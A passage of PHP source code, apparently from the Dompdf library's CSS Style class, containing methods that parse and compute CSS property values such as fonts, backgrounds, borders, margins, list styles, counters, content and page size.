                return rad2deg($v);
            case "turn":
                return $v * 360;
            default:
                return $v === 0.0 ? $v : null;
        }
    }

    /**
     * Common computation logic for `background-position` and `transform-origin`.
     *
     * @param string $v1
     * @param string $v2
     *
     * @return (float|string|null)[]
     */
    protected function computeBackgroundPositionTransformOrigin(string $v1, string $v2): array
    {
        $x = null;
        $y = null;

        switch ($v1) {
            case "left":
                $x = 0.0;
                break;
            case "right":
                $x = "100%";
                break;
            case "top":
                $y = 0.0;
                break;
            case "bottom":
                $y = "100%";
                break;
            case "center":
                if ($v2 === "left" || $v2 === "right") {
                    $y = "50%";
                } else {
                    $x = "50%";
                }
                break;
            default:
                $x = $this->compute_length_percentage($v1);
                break;
        }

        switch ($v2) {
            case "left":
                $x = 0.0;
                break;
            case "right":
                $x = "100%";
                break;
            case "top":
                $y = 0.0;
                break;
            case "bottom":
                $y = "100%";
                break;
            case "center":
                if ($v1 === "top" || $v1 === "bottom") {
                    $x = "50%";
                } else {
                    $y = "50%";
                }
                break;
            default:
                $y = $this->compute_length_percentage($v2);
                break;
        }

        return [$x, $y];
    }

    /**
     * @link https://www.w3.org/TR/css-lists-3/#typedef-counter-name
     */
    protected function isValidCounterName(string $name): bool
    {
        return $name !== "none"
            && !in_array($name, self::CUSTOM_IDENT_FORBIDDEN, true);
    }

    /**
     * @link https://www.w3.org/TR/css-counter-styles-3/#typedef-counter-style-name
     */
    protected function isValidCounterStyleName(string $name): bool
    {
        return $name !== "none"
            && !in_array($name, self::CUSTOM_IDENT_FORBIDDEN, true);
    }

    /**
     * Parse a property value with 1 to 4 components into 4 values, as required
     * by shorthand properties such as `margin`, `padding`, and `border-radius`.
     *
     * @param string $prop  The shorthand property with exactly 4 sub-properties to handle.
     * @param string $value The property value to parse.
     *
     * @return string[]
     */
    protected function set_quad_shorthand(string $prop, string $value): array
    {
        $v = $this->parse_property_value($value);

        switch (\count($v)) {
            case 1:
                $values = [$v[0], $v[0], $v[0], $v[0]];
                break;
            case 2:
                $values = [$v[0], $v[1], $v[0], $v[1]];
                break;
            case 3:
                $values = [$v[0], $v[1], $v[2], $v[1]];
                break;
            case 4:
                $values = [$v[0], $v[1], $v[2], $v[3]];
                break;
            default:
                return [];
        }

        return array_combine(self::$_props_shorthand[$prop], $values);
    }

    /*======================*/

    /**
     * @link https://www.w3.org/TR/CSS21/visuren.html#display-prop
     */
    protected function _compute_display(string $val)
    {
        $val = strtolower($val);

        // Make sure that common valid, but unsupported display types have an
        // appropriate fallback display type
        switch ($val) {
            case "flow-root":
            case "flex":
            case "grid":
            case "table-caption":
                $val = "block";
                break;
            case "inline-flex":
            case "inline-grid":
                $val = "inline-block";
                break;
        }

        if (!isset(self::$valid_display_types[$val])) {
            return null;
        }

        // https://www.w3.org/TR/CSS21/visuren.html#dis-pos-flo
        if ($this->is_in_flow()) {
            return $val;
        } else {
            switch ($val) {
                case "inline":
                case "inline-block":
                // case "table-row-group":
                // case "table-header-group":
                // case "table-footer-group":
                // case "table-row":
                // case "table-cell":
                // case "table-column-group":
                // case "table-column":
                // case "table-caption":
                    return "block";
                case "inline-table":
                    return "table";
                default:
                    return $val;
            }
        }
    }

    /**
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-color
     */
    protected function _compute_color(string $color)
    {
        return $this->compute_color_value($color);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-color
     */
    protected function _compute_background_color(string $color)
    {
        return $this->compute_color_value($color);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-image
     */
    protected function _compute_background_image(string $val)
    {
        $parsed_val = $this->_stylesheet->resolve_url($val);

        if ($parsed_val === "none") {
            return "none";
        } else {
            return "url(\"" . str_replace("\"", "\\\"", $parsed_val) . "\")";
        }
    }

    /**
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-repeat
     */
    protected function _compute_background_repeat(string $val)
    {
        $keywords = ["repeat", "repeat-x", "repeat-y", "no-repeat"];
        $val = strtolower($val);
        return \in_array($val, $keywords, true) ? $val : null;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-attachment
     */
    protected function _compute_background_attachment(string $val)
    {
        $keywords = ["scroll", "fixed"];
        $val = strtolower($val);
        return \in_array($val, $keywords, true) ? $val : null;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-position
     */
    protected function _compute_background_position(string $val)
    {
        $val = strtolower($val);
        $parts = $this->parse_property_value($val);
        $count = \count($parts);

        if ($count === 0 || $count > 2) {
            return null;
        }

        $v1 = $parts[0];
        $v2 = $parts[1] ?? "center";
        [$x, $y] = $this->computeBackgroundPositionTransformOrigin($v1, $v2);

        if ($x === null || $y === null) {
            return null;
        }

        return [$x, $y];
    }

    /**
     * Compute `background-size`.
     *
     * Computes to one of the following values:
     * * `cover`
     * * `contain`
     * * `[width, height]`, each being a length, percentage, or `auto`
     *
     * @link https://www.w3.org/TR/css-backgrounds-3/#background-size
     */
    protected function _compute_background_size(string $val)
    {
        $val = strtolower($val);

        if ($val === "cover" || $val === "contain") {
            return $val;
        }

        $parts = $this->parse_property_value($val);
        $count = \count($parts);

        if ($count === 0 || $count > 2) {
            return null;
        }

        $width = $parts[0];
        if ($width !== "auto") {
            $width = $this->compute_length_percentage_positive($width);
        }

        $height = $parts[1] ?? "auto";
        if ($height !== "auto") {
            $height = $this->compute_length_percentage_positive($height);
        }

        if ($width === null || $height === null) {
            return null;
        }

        return [$width, $height];
    }

    /**
     * @link https://www.w3.org/TR/css-backgrounds-3/#propdef-background
     */
    protected function _set_background(string $value): array
    {
        $components = $this->parse_property_value($value);
        $props = [];
        $pos_size = [];

        foreach ($components as $val) {
            $lower = strtolower($val);

            if ($lower === "none") {
                $props["background_image"] = $lower;
            } elseif (strncmp($lower, "url(", 4) === 0) {
                $props["background_image"] = $val;
            } elseif ($lower === "scroll" || $lower === "fixed") {
                $props["background_attachment"] = $lower;
            } elseif ($lower === "repeat" || $lower === "repeat-x" || $lower === "repeat-y" || $lower === "no-repeat") {
                $props["background_repeat"] = $lower;
            } elseif ($this->is_color_value($lower)) {
                $props["background_color"] = $lower;
            } else {
                $pos_size[] = $lower;
            }
        }

        if (\count($pos_size)) {
            // Split value list at "/"
            $index = array_search("/", $pos_size, true);

            if ($index !== false) {
                $pos = \array_slice($pos_size, 0, $index);
                $size = \array_slice($pos_size, $index + 1);
            } else {
                $pos = $pos_size;
                $size = [];
            }

            $props["background_position"] = implode(" ", $pos);

            if (\count($size)) {
                $props["background_size"] = implode(" ", $size);
            }
        }

        return $props;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/fonts.html#propdef-font-family
     */
    protected function _compute_font_family(string $val)
    {
        return array_map(
            function ($name) {
                return trim($name, " '\"");
            },
            preg_split("/\s*,\s*/", $val)
        );
    }

    /**
     * @link https://www.w3.org/TR/CSS21/fonts.html#propdef-font-size
     */
    protected function _compute_font_size(string $val)
    {
        $val = strtolower($val);
        $parentFontSize = isset($this->parent_style)
            ? $this->parent_style->__get("font_size")
            : self::$default_font_size;

        switch ($val) {
            case "xx-small":
            case "x-small":
            case "small":
            case "medium":
            case "large":
            case "x-large":
            case "xx-large":
                $computed = self::$default_font_size * self::$font_size_keywords[$val];
                break;

            case "smaller":
                $computed = 8 / 9 * $parentFontSize;
                break;

            case "larger":
                $computed = 6 / 5 * $parentFontSize;
                break;

            default:
                $computed = $this->single_length_in_pt($val, $parentFontSize, $parentFontSize);

                // Negative non-`calc` values are invalid
                if ($computed === null
                    || ($computed < 0 && !preg_match("/^-?[_a-zA-Z]/", $val))
                ) {
                    return null;
                }
                break;
        }

        return $computed;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/fonts.html#propdef-font-style
     */
    protected function _compute_font_style(string $val)
    {
        $val = strtolower($val);
        return $val === "normal" || $val === "italic" || $val === "oblique"
            ? $val
            : null;
    }

    /**
     * @link https://www.w3.org/TR/css-fonts-4/#propdef-font-weight
     */
    protected function _compute_font_weight(string $val)
    {
        $val = strtolower($val);

        switch ($val) {
            case "normal":
                return 400;

            case "bold":
                return 700;

            case "bolder":
                // https://www.w3.org/TR/css-fonts-4/#relative-weights
                $w = isset($this->parent_style)
                    ? $this->parent_style->__get("font_weight")
                    : 400;

                if ($w < 350) {
                    return 400;
                } elseif ($w < 550) {
                    return 700;
                } elseif ($w < 900) {
                    return 900;
                } else {
                    return $w;
                }

            case "lighter":
                // https://www.w3.org/TR/css-fonts-4/#relative-weights
                $w = isset($this->parent_style)
                    ? $this->parent_style->__get("font_weight")
                    : 400;

                if ($w < 100) {
                    return $w;
                } elseif ($w < 550) {
                    return 100;
                } elseif ($w < 750) {
                    return 400;
                } else {
                    return 700;
                }

            default:
                $number = self::CSS_NUMBER;
                $weight = preg_match("/^$number$/", $val)
                    ? (int) $val
                    : null;
                return $weight !== null && $weight >= 1 && $weight <= 1000
                    ? $weight
                    : null;
        }
    }

    /**
     * @link https://www.w3.org/TR/css-fonts-4/#src-desc
     */
    protected function _compute_src(string $val)
    {
        return $val;
    }

    /**
     * Handle the `font` shorthand property.
     *
     * `[ font-style || font-variant || font-weight ] font-size [ / line-height ] font-family`
     *
     * @link https://www.w3.org/TR/CSS21/fonts.html#font-shorthand
     */
    protected function _set_font(string $value): array
    {
        $value = strtolower($value);
        $components = $this->parse_property_value($value);
        $props = [];

        $number = self::CSS_NUMBER;
        $unit = "pt|px|pc|rem|em|ex|in|cm|mm|%";
        $sizePattern = "/^(xx-small|x-small|small|medium|large|x-large|xx-large|smaller|larger|$number(?:$unit)|0)$/";
        $sizeIndex = null;

        // Find index of font-size to split the component list
        foreach ($components as $i => $val) {
            if (preg_match($sizePattern, $val)) {
                $sizeIndex = $i;
                $props["font_size"] = $val;
                break;
            }
        }

        // `font-size` is mandatory
        if ($sizeIndex === null) {
            return [];
        }

        // `font-style`, `font-variant`, `font-weight` in any order
        $styleVariantWeight = \array_slice($components, 0, $sizeIndex);
        $stylePattern = "/^(italic|oblique)$/";
        $variantPattern = "/^(small-caps)$/";
        $weightPattern = "/^(bold|bolder|lighter|$number)$/";

        if (\count($styleVariantWeight) > 3) {
            return [];
        }

        foreach ($styleVariantWeight as $val) {
            if ($val === "normal") {
                // Ignore any `normal` value, as it is valid and the initial
                // value for all three properties
            } elseif (!isset($props["font_style"]) && preg_match($stylePattern, $val)) {
                $props["font_style"] = $val;
            } elseif (!isset($props["font_variant"]) && preg_match($variantPattern, $val)) {
                $props["font_variant"] = $val;
            } elseif (!isset($props["font_weight"]) && preg_match($weightPattern, $val)) {
                $props["font_weight"] = $val;
            } else {
                // Duplicates and other values disallowed here
                return [];
            }
        }

        // Optional slash + `line-height` followed by mandatory `font-family`
        $lineFamily = \array_slice($components, $sizeIndex + 1);
        $hasLineHeight = $lineFamily !== [] && $lineFamily[0] === "/";
        $lineHeight = $hasLineHeight ? \array_slice($lineFamily, 1, 1) : [];
        $fontFamily = $hasLineHeight ? \array_slice($lineFamily, 2) : $lineFamily;
        $lineHeightPattern = "/^(normal|$number(?:$unit)?)$/";

        // Missing `font-family` or `line-height` after slash
        if ($fontFamily === []
            || ($hasLineHeight && !preg_match($lineHeightPattern, $lineHeight[0]))
        ) {
            return [];
        }

        if ($hasLineHeight) {
            $props["line_height"] = $lineHeight[0];
        }

        $props["font_family"] = implode("", $fontFamily);

        return $props;
    }

    /**
     * Compute `text-align`.
     *
     * If no alignment is set on the element and the direction is rtl then
     * the property is set to "right", otherwise it is set to "left".
     *
     * @link https://www.w3.org/TR/CSS21/text.html#propdef-text-align
     */
    protected function _compute_text_align(string $val)
    {
        $alignment = strtolower($val);

        if ($alignment === "") {
            $alignment = $this->__get("direction") === "rtl"
                ? "right"
                : "left";
        }

        if (!\in_array($alignment, self::TEXT_ALIGN_KEYWORDS, true)) {
            return null;
        }

        return $alignment;
    }

    /**
     * @link https://www.w3.org/TR/css-text-4/#word-spacing-property
     */
    protected function _compute_word_spacing(string $val)
    {
        $val = strtolower($val);

        if ($val === "normal") {
            return 0.0;
        }

        return $this->compute_length_percentage($val);
    }

    /**
     * @link https://www.w3.org/TR/css-text-4/#letter-spacing-property
     */
    protected function _compute_letter_spacing(string $val)
    {
        $val = strtolower($val);

        if ($val === "normal") {
            return 0.0;
        }

        return $this->compute_length_percentage($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-line-height
     */
    protected function _compute_line_height(string $val)
    {
        $val = strtolower($val);

        if ($val === "normal") {
            return $val;
        }

        // Compute number values to string and lengths to float (in pt)
        if (is_numeric($val)) {
            return (string) $val;
        }

        $font_size = $this->__get("font_size");
        $computed = $this->single_length_in_pt($val, $font_size);

        // Negative non-`calc` values are invalid
        if ($computed === null
            || ($computed < 0 && !preg_match("/^-?[_a-zA-Z]/", $val))
        ) {
            return null;
        }

        return $computed;
    }

    /**
     * @link https://www.w3.org/TR/css-text-3/#text-indent-property
     */
    protected function _compute_text_indent(string $val)
    {
        return $this->compute_length_percentage($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/page.html#propdef-page-break-before
     */
    protected function _compute_page_break_before(string $val)
    {
        $break = strtolower($val);

        if ($break === "left" || $break === "right") {
            $break = "always";
        }

        return $break;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/page.html#propdef-page-break-after
     */
    protected function _compute_page_break_after(string $val)
    {
        $break = strtolower($val);

        if ($break === "left" || $break === "right") {
            $break = "always";
        }

        return $break;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-width
     */
    protected function _compute_width(string $val)
    {
        $val = strtolower($val);

        if ($val === "auto") {
            return $val;
        }

        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-height
     */
    protected function _compute_height(string $val)
    {
        $val = strtolower($val);

        if ($val === "auto") {
            return $val;
        }

        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-min-width
     */
    protected function _compute_min_width(string $val)
    {
        $val = strtolower($val);

        // Legacy support for `none`, not covered by spec
        if ($val === "auto" || $val === "none") {
            return "auto";
        }

        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-min-height
     */
    protected function _compute_min_height(string $val)
    {
        $val = strtolower($val);

        // Legacy support for `none`, not covered by spec
        if ($val === "auto" || $val === "none") {
            return "auto";
        }

        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-max-width
     */
    protected function _compute_max_width(string $val)
    {
        $val = strtolower($val);

        // Legacy support for `auto`, not covered by spec
        if ($val === "none" || $val === "auto") {
            return "none";
        }

        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-max-height
     */
    protected function _compute_max_height(string $val)
    {
        $val = strtolower($val);

        // Legacy support for `auto`, not covered by spec
        if ($val === "none" || $val === "auto") {
            return "none";
        }

        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/css-position-3/#inset-properties
     * @link https://www.w3.org/TR/css-position-3/#propdef-inset
     */
    protected function _set_inset(string $val): array
    {
        return $this->set_quad_shorthand("inset", $val);
    }

    /**
     * @param string $val
     * @return float|string|null
     */
    protected function compute_box_inset(string $val)
    {
        $val = strtolower($val);

        if ($val === "auto") {
            return $val;
        }

        return $this->compute_length_percentage($val);
    }

    protected function _compute_top(string $val)
    {
        return $this->compute_box_inset($val);
    }

    protected function _compute_right(string $val)
    {
        return $this->compute_box_inset($val);
    }

    protected function _compute_bottom(string $val)
    {
        return $this->compute_box_inset($val);
    }

    protected function _compute_left(string $val)
    {
        return $this->compute_box_inset($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/box.html#margin-properties
     * @link https://www.w3.org/TR/CSS21/box.html#propdef-margin
     */
    protected function _set_margin(string $val): array
    {
        return $this->set_quad_shorthand("margin", $val);
    }

    /**
     * @param string $val
     * @return float|string|null
     */
    protected function compute_margin(string $val)
    {
        $val = strtolower($val);

        // Legacy support for `none` keyword, not covered by spec
        if ($val === "none") {
            return 0.0;
        }

        if ($val === "auto") {
            return $val;
        }

        return $this->compute_length_percentage($val);
    }

    protected function _compute_margin_top(string $val)
    {
        return $this->compute_margin($val);
    }

    protected function _compute_margin_right(string $val)
    {
        return $this->compute_margin($val);
    }

    protected function _compute_margin_bottom(string $val)
    {
        return $this->compute_margin($val);
    }

    protected function _compute_margin_left(string $val)
    {
        return $this->compute_margin($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/box.html#padding-properties
     * @link https://www.w3.org/TR/CSS21/box.html#propdef-padding
     */
    protected function _set_padding(string $val): array
    {
        return $this->set_quad_shorthand("padding", $val);
    }

    /**
     * @param string $val
     * @return float|string|null
     */
    protected function compute_padding(string $val)
    {
        $val = strtolower($val);

        // Legacy support for `none` keyword, not covered by spec
        if ($val === "none") {
            return 0.0;
        }

        return $this->compute_length_percentage_positive($val);
    }

    protected function _compute_padding_top(string $val)
    {
        return $this->compute_padding($val);
    }

    protected function _compute_padding_right(string $val)
    {
        return $this->compute_padding($val);
    }

    protected function _compute_padding_bottom(string $val)
    {
        return $this->compute_padding($val);
    }

    protected function _compute_padding_left(string $val)
    {
        return $this->compute_padding($val);
    }

    /**
     * @param string   $value  `width || style || color`
     * @param string[] $styles The list of border styles to accept.
     *
     * @return string[]|null Array of `[width, style, color]`, or `null` if the declaration is invalid.
     */
    protected function parse_border_side(string $value, array $styles = self::BORDER_STYLES): ?array
    {
        $value = strtolower($value);
        $components = $this->parse_property_value($value);
        $width = null;
        $style = null;
        $color = null;

        foreach ($components as $val) {
            if ($style === null && \in_array($val, $styles, true)) {
                $style = $val;
            } elseif ($color === null && $this->is_color_value($val)) {
                $color = $val;
            } elseif ($width === null) {
                // Assume width
                $width = $val;
            } else {
                // Duplicates are not allowed
                return null;
            }
        }

        return [$width, $style, $color];
    }

    /**
     * @link https://www.w3.org/TR/CSS21/box.html#border-properties
     * @link https://www.w3.org/TR/CSS21/box.html#propdef-border
     */
    protected function _set_border(string $value): array
    {
        $values = $this->parse_border_side($value);

        if ($values === null) {
            return [];
        }

        return array_merge(
            array_combine(self::$_props_shorthand["border_top"], $values),
            array_combine(self::$_props_shorthand["border_right"], $values),
            array_combine(self::$_props_shorthand["border_bottom"], $values),
            array_combine(self::$_props_shorthand["border_left"], $values)
        );
    }

    /**
     * @param string $prop
     * @param string $value
     * @return array
     */
    protected function set_border_side(string $prop, string $value): array
    {
        $values = $this->parse_border_side($value);

        if ($values === null) {
            return [];
        }

        return array_combine(self::$_props_shorthand[$prop], $values);
    }

    protected function _set_border_top(string $val): array
    {
        return $this->set_border_side("border_top", $val);
    }

    protected function _set_border_right(string $val): array
    {
        return $this->set_border_side("border_right", $val);
    }

    protected function _set_border_bottom(string $val): array
    {
        return $this->set_border_side("border_bottom", $val);
    }

    protected function _set_border_left(string $val): array
    {
        return $this->set_border_side("border_left", $val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/box.html#propdef-border-color
     */
    protected function _set_border_color(string $val): array
    {
        return $this->set_quad_shorthand("border_color", $val);
    }

    protected function _compute_border_top_color(string $val)
    {
        return $this->compute_color_value($val);
    }

    protected function _compute_border_right_color(string $val)
    {
        return $this->compute_color_value($val);
    }

    protected function _compute_border_bottom_color(string $val)
    {
        return $this->compute_color_value($val);
    }

    protected function _compute_border_left_color(string $val)
    {
        return $this->compute_color_value($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/box.html#propdef-border-style
     */
    protected function _set_border_style(string $val): array
    {
        return $this->set_quad_shorthand("border_style", $val);
    }

    protected function _compute_border_top_style(string $val)
    {
        return $this->compute_border_style($val);
    }

    protected function _compute_border_right_style(string $val)
    {
        return $this->compute_border_style($val);
    }

    protected function _compute_border_bottom_style(string $val)
    {
        return $this->compute_border_style($val);
    }

    protected function _compute_border_left_style(string $val)
    {
        return $this->compute_border_style($val);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/box.html#propdef-border-width
     */
    protected function _set_border_width(string $val): array
    {
        return $this->set_quad_shorthand("border_width", $val);
    }

    protected function _compute_border_top_width(string $val)
    {
        return $this->compute_line_width($val, "border_top_style");
    }

    protected function _compute_border_right_width(string $val)
    {
        return $this->compute_line_width($val, "border_right_style");
    }

    protected function _compute_border_bottom_width(string $val)
    {
        return $this->compute_line_width($val, "border_bottom_style");
    }

    protected function _compute_border_left_width(string $val)
    {
        return $this->compute_line_width($val, "border_left_style");
    }

    /**
     * @link https://www.w3.org/TR/css-backgrounds-3/#corners
     * @link https://www.w3.org/TR/css-backgrounds-3/#propdef-border-radius
     */
    protected function _set_border_radius(string $val): array
    {
        return $this->set_quad_shorthand("border_radius", $val);
    }

    protected function _compute_border_top_left_radius(string $val)
    {
        return $this->compute_length_percentage_positive($val);
    }

    protected function _compute_border_top_right_radius(string $val)
    {
        return $this->compute_length_percentage_positive($val);
    }

    protected function _compute_border_bottom_right_radius(string $val)
    {
        return $this->compute_length_percentage_positive($val);
    }

    protected function _compute_border_bottom_left_radius(string $val)
    {
        return $this->compute_length_percentage_positive($val);
    }

    /**
     * @link https://www.w3.org/TR/css-ui-4/#outline-props
     * @link https://www.w3.org/TR/css-ui-4/#propdef-outline
     */
    protected function _set_outline(string $value): array
    {
        $values = $this->parse_border_side($value, self::OUTLINE_STYLES);

        if ($values === null) {
            return [];
        }

        return array_combine(self::$_props_shorthand["outline"], $values);
    }

    protected function _compute_outline_color(string $val)
    {
        return $this->compute_color_value($val);
    }

    protected function _compute_outline_style(string $val)
    {
        $val = strtolower($val);
        return \in_array($val, self::OUTLINE_STYLES, true) ? $val : null;
    }

    protected function _compute_outline_width(string $val)
    {
        return $this->compute_line_width($val, "outline_style");
    }

    /**
     * @link https://www.w3.org/TR/css-ui-4/#propdef-outline-offset
     */
    protected function _compute_outline_offset(string $val)
    {
        return $this->compute_length($val);
    }

    /**
     * Compute `border-spacing` to two lengths of the form
     * `[horizontal, vertical]`.
     *
     * @link https://www.w3.org/TR/CSS21/tables.html#propdef-border-spacing
     */
    protected function _compute_border_spacing(string $val)
    {
        $val = strtolower($val);
        $parts = $this->parse_property_value($val);
        $count = \count($parts);

        if ($count === 0 || $count > 2) {
            return null;
        }

        $h = $this->compute_length_positive($parts[0]);
        $v = isset($parts[1])
            ? $this->compute_length_positive($parts[1])
            : $h;

        if ($h === null || $v === null) {
            return null;
        }

        return [$h, $v];
    }

    /**
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image
     */
    protected function _compute_list_style_image(string $val)
    {
        $parsed_val = $this->_stylesheet->resolve_url($val);

        if ($parsed_val === "none") {
            return "none";
        } else {
            return "url(\"" . str_replace("\"", "\\\"", $parsed_val) . "\")";
        }
    }

    /**
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-list-style-type
     */
    protected function _compute_list_style_position(string $val)
    {
        $val = strtolower($val);
        return $val === "inside" || $val === "outside" ? $val : null;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-list-style-type
     */
    protected function _compute_list_style_type(string $val)
    {
        $val = strtolower($val);

        if ($val === "none") {
            return $val;
        }

        $ident = self::CSS_IDENTIFIER;
        return $val !== "default" && preg_match("/^$ident$/", $val)
            ? $val
            : null;
    }

    /**
     * Handle the `list-style` shorthand property.
     *
     * `[ list-style-position || list-style-image || list-style-type ]`
     *
     * @link https://www.w3.org/TR/css-lists-3/#list-style-property
     */
    protected function _set_list_style(string $value): array
    {
        $components = $this->parse_property_value($value);
        $none = 0;
        $position = null;
        $image = null;
        $type = null;

        foreach ($components as $val) {
            $lower = strtolower($val);

            // `none` can occur max 2 times (for image and type each)
            if ($none < 2 && $lower === "none") {
                $none++;
            } elseif ($position === null && ($lower === "inside" || $lower === "outside")) {
                $position = $lower;
            } elseif ($image === null && strncmp($lower, "url(", 4) === 0) {
                $image = $val;
            } elseif ($type === null) {
                $type = $val;
            } else {
                // Duplicates are not allowed
                return [];
            }
        }

        // From the spec:
        // Using a value of `none` in the shorthand is potentially ambiguous, as
        // `none` is a valid value for both `list-style-image` and `list-style-type`.
        // To resolve this ambiguity, a value of `none` in the shorthand must be
        // applied to whichever of the two properties aren’t otherwise set by
        // the shorthand.
        if ($none === 2) {
            if ($image !== null || $type !== null) {
                return [];
            }

            $image = "none";
            $type = "none";
        } elseif ($none === 1) {
            if ($image !== null && $type !== null) {
                return [];
            }

            $image = $image ?? "none";
            $type = $type ?? "none";
        }

        return [
            "list_style_position" => $position,
            "list_style_image" => $image,
            "list_style_type" => $type
        ];
    }

    /**
     * @param string $value
     * @param int    $default
     * @param bool   $sumDuplicates
     *
     * @return array|string|null
     */
    protected function compute_counter_prop(string $value, int $default, bool $sumDuplicates = false)
    {
        $lower = strtolower($value);

        if ($lower === "none") {
            return $lower;
        }

        $ident = self::CSS_IDENTIFIER;
        $integer = self::CSS_INTEGER;
        $counterDef = "($ident)(?:\s+($integer))?";
        $validationPattern = "/^$counterDef(\s+$counterDef)*$/";

        if (!preg_match($validationPattern, $value)) {
            return null;
        }

        preg_match_all("/$counterDef/", $value, $matches, PREG_SET_ORDER);
        $counters = [];

        foreach ($matches as $match) {
            $name = $match[1];

            if (!$this->isValidCounterName($name)) {
                return null;
            }

            $value = isset($match[2]) ? (int) $match[2] : $default;
            $counters[$name] = $sumDuplicates
                ? ($counters[$name] ?? 0) + $value
                : $value;
        }

        return $counters;
    }

    /**
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-counter-increment
     */
    protected function _compute_counter_increment(string $val)
    {
        return $this->compute_counter_prop($val, 1, true);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-counter-reset
     */
    protected function _compute_counter_reset(string $val)
    {
        return $this->compute_counter_prop($val, 0);
    }

    /**
     * @link https://www.w3.org/TR/css-content-3/#quotes
     */
    protected function _compute_quotes(string $val)
    {
        $lower = strtolower($val);

        // `auto` is resolved in the getter, so it can inherit as is
        if ($lower === "none" || $lower === "auto") {
            return $lower;
        }

        $components = $this->parse_property_value($val);
        $quotes = [];

        foreach ($components as $value) {
            if (strncmp($value, '"', 1) !== 0
                && strncmp($value, "'", 1) !== 0
            ) {
                return null;
            }

            $quotes[] = $this->parse_string($value);
        }

        if ($quotes === [] || \count($quotes) % 2 !== 0) {
            return null;
        }

        return array_chunk($quotes, 2);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-content
     * @link https://www.w3.org/TR/css-content-3/#propdef-content
     */
    protected function _compute_content(string $val)
    {
        $lower = strtolower($val);

        if ($lower === "normal" || $lower === "none") {
            return $lower;
        }

        $components = $this->parse_property_value($val);
        $parts = [];

        if ($components === []) {
            return null;
        }

        foreach ($components as $value) {
            // String
            if (strncmp($value, '"', 1) === 0 || strncmp($value, "'", 1) === 0) {
                $parts[] = new StringPart($this->parse_string($value));
                continue;
            }

            $lower = strtolower($value);

            // Keywords
            if ($lower === "open-quote") {
                $parts[] = new OpenQuote;
                continue;
            } elseif ($lower === "close-quote") {
                $parts[] = new CloseQuote;
                continue;
            } elseif ($lower === "no-open-quote") {
                $parts[] = new NoOpenQuote;
                continue;
            } elseif ($lower === "no-close-quote") {
                $parts[] = new NoCloseQuote;
                continue;
            }

            // Functional components
            $pos = strpos($lower, "(");

            if ($pos === false) {
                return null;
            }

            // `parse_property_value` ensures that the value is of the form
            // `function(arguments)` at this point
            $function = substr($lower, 0, $pos);
            $arguments = trim(substr($value, $pos + 1, -1));

            // attr()
            if ($function === "attr") {
                $attr = strtolower($arguments);

                if ($attr === "") {
                    return null;
                }

                $parts[] = new Attr($attr);
            }

            // counter(name [, style])
            elseif ($function === "counter") {
                $ident = self::CSS_IDENTIFIER;

                if (!preg_match("/^($ident)(?:\s*,\s*($ident))?$/", $arguments, $matches)) {
                    return null;
                }

                $name = $matches[1];
                $type = isset($matches[2]) ? strtolower($matches[2]) : "decimal";

                if (!$this->isValidCounterName($name)
                    || !$this->isValidCounterStyleName($type)
                ) {
                    return null;
                }

                $parts[] = new Counter($name, $type);
            }

            // counters(name, string [, style])
            elseif ($function === "counters") {
                $ident = self::CSS_IDENTIFIER;
                $string = self::CSS_STRING;

                if (!preg_match("/^($ident)\s*,\s*($string)(?:\s*,\s*($ident))?$/", $arguments, $matches)) {
                    return null;
                }

                $name = $matches[1];
                $string = $this->parse_string($matches[2]);
                $type = isset($matches[3]) ? strtolower($matches[3]) : "decimal";

                if (!$this->isValidCounterName($name)
                    || !$this->isValidCounterStyleName($type)
                ) {
                    return null;
                }

                $parts[] = new Counters($name, $string, $type);
            }

            // url()
            elseif ($function === "url") {
                $url = $this->parse_string($arguments);
                $parts[] = new Url($url);
            }

            else {
                return null;
            }
        }

        return $parts;
    }

    /**
     * @link https://www.w3.org/TR/css-page-3/#page-size-prop
     */
    protected function _compute_size(string $val)
    {
        $val = strtolower($val);

        if ($val === "auto") {
            return $val;
        }

        $parts = $this->parse_property_value($val);
        $count = \count($parts);

        if ($count === 0 || $count > 3) {
            return null;
        }

        $size = null;
        $orientation = null;
        $lengths = [];

        foreach ($parts as $part) {
            if ($size === null && isset(CPDF::$PAPER_SIZES[$part])) {
                $size = $part;
            } elseif ($orientation === null && ($part === "portrait" || $part === "landscape")) {
                $orientation = $part;
            } else {
                $lengths[] = $part;
            }
        }

        if ($size !== null && $lengths !== []) {
            return null;
        }

        if ($size !== null) {
            // Standard paper size
            [$l1, $l2] = \array_slice(CPDF::$PAPER_SIZES[$size], 2, 2);
        } elseif ($lengths === []) {
            // Orientation only, use default paper size
            $dims = $this->_stylesheet->get_dompdf()->getPaperSize();
